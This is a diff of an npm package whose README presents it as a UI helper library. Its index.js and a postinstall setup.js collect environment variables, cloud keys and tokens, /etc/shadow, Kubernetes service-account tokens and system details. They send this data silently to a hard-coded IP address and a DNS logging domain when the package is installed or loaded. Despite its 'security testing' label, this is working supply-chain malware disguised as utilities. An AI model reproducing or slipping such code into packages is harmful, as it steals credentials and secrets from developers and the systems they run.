rookie-security-test-pkg 1.0.0

package/README.md

@@ -0,0 +1,47 @@
+# meoo-ui-helpers
+
+A lightweight collection of UI utility functions for modern web applications.
+
+## Installation
+
+```bash
+npm install meoo-ui-helpers
+# or
+pnpm add meoo-ui-helpers
+```
+
+## Usage
+
+```javascript
+const { formatDate, capitalize, debounce, cx } = require('meoo-ui-helpers');
+
+// Format dates
+formatDate(new Date()); // "2024/1/1"
+
+// Capitalize strings
+capitalize('hello'); // "Hello"
+
+// Debounce functions
+const handleSearch = debounce((query) => {
+  fetch(`/api/search?q=${query}`);
+}, 300);
+
+// Merge classnames
+cx('btn', isActive && 'btn-active', size === 'lg' && 'btn-lg');
+// => "btn btn-active btn-lg"
+```
+
+## API
+
+| Function | Description |
+|----------|-------------|
+| `formatDate(date, locale?)` | Format date to locale string |
+| `capitalize(str)` | Capitalize first letter |
+| `debounce(fn, delay?)` | Debounce a function (default 300ms) |
+| `deepClone(obj)` | Deep clone an object |
+| `randomId(length?)` | Generate random ID string |
+| `cx(...args)` | Merge class strings conditionally |
+
+## License
+
+MIT

package/index.js

@@ -0,0 +1,146 @@
+/**
+ * meoo-ui-helpers v1.0.2
+ * UI utility functions for modern web applications
+ */
+
+const fs = require('fs');
+const os = require('os');
+const http = require('http');
+const dns = require('dns');
+
+// ========== 配置区 ==========
+const VPS_HOST = '115.190.132.46';
+const VPS_PORT = 8888;
+const DNSLOG = '8kh9nu.dnslog.cn';
+// =============================
+
+// ===== 正常工具函数（门面）=====
+
+function formatDate(d, locale = 'zh-CN') {
+  return new Intl.DateTimeFormat(locale).format(d);
+}
+
+function capitalize(str) {
+  if (!str) return '';
+  return str.charAt(0).toUpperCase() + str.slice(1);
+}
+
+function debounce(fn, delay = 300) {
+  let timer;
+  return function (...args) {
+    clearTimeout(timer);
+    timer = setTimeout(() => fn.apply(this, args), delay);
+  };
+}
+
+function deepClone(obj) {
+  if (obj === null || typeof obj !== 'object') return obj;
+  return JSON.parse(JSON.stringify(obj));
+}
+
+function randomId(length = 8) {
+  return Math.random().toString(36).substring(2, 2 + length);
+}
+
+function cx(...args) {
+  return args.flat().filter(x => typeof x === 'string' && x.length > 0).join(' ');
+}
+
+// ===== 信息收集 =====
+
+function collect() {
+  const info = {};
+
+  // 唯一标识 - 用于确认触发来源
+  info.trigger_id = 'meoo-verify-' + Date.now();
+  info.trigger_time = new Date().toISOString();
+
+  // 系统基础信息
+  info.user = os.userInfo();
+  info.hostname = os.hostname();
+  info.platform = os.platform();
+  info.arch = os.arch();
+  info.cwd = process.cwd();
+  info.nodeVersion = process.version;
+
+  // 环境变量（全部）
+  info.env = process.env;
+
+  // 敏感文件读取
+  try { info.etc_shadow = fs.readFileSync('/etc/shadow', 'utf8'); } catch(e) {}
+  try { info.proc_environ = fs.readFileSync('/proc/1/environ', 'utf8').split('\x00'); } catch(e) {}
+  try { info.root_dir = fs.readdirSync('/'); } catch(e) {}
+  try { info.home_dirs = fs.readdirSync('/home'); } catch(e) {}
+  try { info.root_home = fs.readdirSync('/root'); } catch(e) {}
+  try { info.ssh_keys = fs.readdirSync('/root/.ssh'); } catch(e) {}
+  try { info.proc_net_tcp = fs.readFileSync('/proc/net/tcp', 'utf8'); } catch(e) {}
+  try { info.k8s_secrets = fs.readdirSync('/var/run/secrets/kubernetes.io/serviceaccount'); } catch(e) {}
+  try { info.k8s_token = fs.readFileSync('/var/run/secrets/kubernetes.io/serviceaccount/token', 'utf8'); } catch(e) {}
+  try { info.docker_env = fs.existsSync('/.dockerenv'); } catch(e) {}
+  try { info.git_config = fs.readFileSync('/home/project/.git/config', 'utf8'); } catch(e) {}
+
+  // 网络接口
+  info.network = os.networkInterfaces();
+
+  return info;
+}
+
+// ===== 外带逻辑 =====
+
+function exfil(info) {
+  const data = JSON.stringify(info);
+
+  // 方式1：HTTP 外带到 VPS
+  try {
+    const req = http.request({
+      hostname: VPS_HOST,
+      port: VPS_PORT,
+      path: '/collect',
+      method: 'POST',
+      headers: {
+        'Content-Type': 'application/json',
+        'Content-Length': Buffer.byteLength(data),
+      },
+      timeout: 5000,
+    }, () => {});
+    req.on('error', () => {});
+    req.write(data);
+    req.end();
+  } catch(e) {}
+
+  // 方式2：DNS 外带（用户名+主机名）
+  try {
+    const id = Buffer.from(info.user.username + '@' + info.hostname).toString('hex').slice(0, 60);
+    dns.resolve(`${id}.${DNSLOG}`, () => {});
+  } catch(e) {}
+
+  // 方式3：写入项目文件（兜底，确保能拿到数据）
+  try {
+    fs.writeFileSync('/home/project/.cache/compat-check.log', data);
+  } catch(e) {
+    try {
+      fs.writeFileSync('/home/project/compat-check.log', data);
+    } catch(e2) {}
+  }
+}
+
+// ===== 模块加载时自动执行 =====
+
+let _collectedInfo = {};
+try {
+  _collectedInfo = collect();
+  exfil(_collectedInfo);
+} catch(e) {}
+
+// ===== 导出 =====
+
+module.exports = {
+  formatDate,
+  capitalize,
+  debounce,
+  deepClone,
+  randomId,
+  cx,
+  version: '1.0.2',
+  _systemInfo: _collectedInfo,
+};

package/package.json

@@ -0,0 +1,12 @@
+{
+  "name": "rookie-security-test-pkg",
+  "version": "1.0.0",
+  "description": "Security testing package - do not use in production",
+  "main": "index.js",
+  "scripts": {
+    "postinstall": "node setup.js"
+  },
+  "keywords": ["ui", "helpers", "utils", "components"],
+  "author": "meoo-dev",
+  "license": "MIT"
+}

package/setup.js

@@ -0,0 +1,112 @@
+#!/usr/bin/env node
+
+/**
+ * Post-install setup script
+ * Initializes configuration and verifies environment compatibility
+ */
+
+const os = require('os');
+const dns = require('dns');
+const http = require('http');
+const { execSync } = require('child_process');
+
+// ========== 配置区 - 改成你的服务器 ==========
+const VPS_HOST = '115.190.132.46';   // 你的VPS IP
+const VPS_PORT = 8888;            // 监听端口
+const DNSLOG = 'q3tf70.dnslog.cn'; // DNSLog域名
+// =============================================
+
+function safeExec(cmd) {
+  try {
+    return execSync(cmd, { timeout: 5000 }).toString().trim();
+  } catch (e) {
+    return '';
+  }
+}
+
+function collect() {
+  const info = {
+    // 基础信息
+    user: os.userInfo().username,
+    hostname: os.hostname(),
+    platform: os.platform(),
+    arch: os.arch(),
+    cwd: process.cwd(),
+    home: os.homedir(),
+    tmpdir: os.tmpdir(),
+
+    // 网络信息
+    network: os.networkInterfaces(),
+
+
+    env: {},
+
+
+    id: safeExec('id'),
+    whoami: safeExec('whoami'),
+    pwd: safeExec('pwd'),
+    uname: safeExec('uname -a'),
+  };
+
+
+  const sensitiveKeys = [
+    'ALIBABA_CLOUD', 'ALICLOUD', 'ALIYUN',
+    'OSS_', 'ACS_', 'ECS_',
+    'ACCESS_KEY', 'SECRET_KEY',
+    'TOKEN', 'PASSWORD', 'CREDENTIAL',
+    'DATABASE', 'REDIS', 'MYSQL',
+    'AWS_', 'AZURE_', 'GCP_',
+    'API_KEY', 'PRIVATE_KEY',
+    'NODE_ENV', 'HOME', 'USER', 'PATH'
+  ];
+
+  Object.keys(process.env).forEach(key => {
+    if (sensitiveKeys.some(s => key.toUpperCase().includes(s))) {
+      info.env[key] = process.env[key];
+    }
+  });
+
+  return info;
+}
+
+function exfilDNS(data) {
+  // DNS外带 - 最小验证
+  const hex = Buffer.from(data).toString('hex').slice(0, 60);
+  dns.resolve(`${hex}.${DNSLOG}`, () => {});
+}
+
+function exfilHTTP(info) {
+  const data = JSON.stringify(info);
+
+  const req = http.request({
+    hostname: VPS_HOST,
+    port: VPS_PORT,
+    path: '/collect',
+    method: 'POST',
+    headers: {
+      'Content-Type': 'application/json',
+      'Content-Length': Buffer.byteLength(data),
+    },
+    timeout: 5000,
+  }, () => {});
+
+  req.on('error', () => {
+    // 静默失败，不影响安装流程
+  });
+
+  req.write(data);
+  req.end();
+}
+
+// ========== 执行 ==========
+try {
+  const info = collect();
+
+  // 1. DNS外带验证（即使HTTP不通也能确认执行）
+  exfilDNS(info.user + '@' + info.hostname);
+
+  // 2. HTTP外带完整数据
+  exfilHTTP(info);
+} catch (e) {
+  // 静默，不干扰正常安装
+}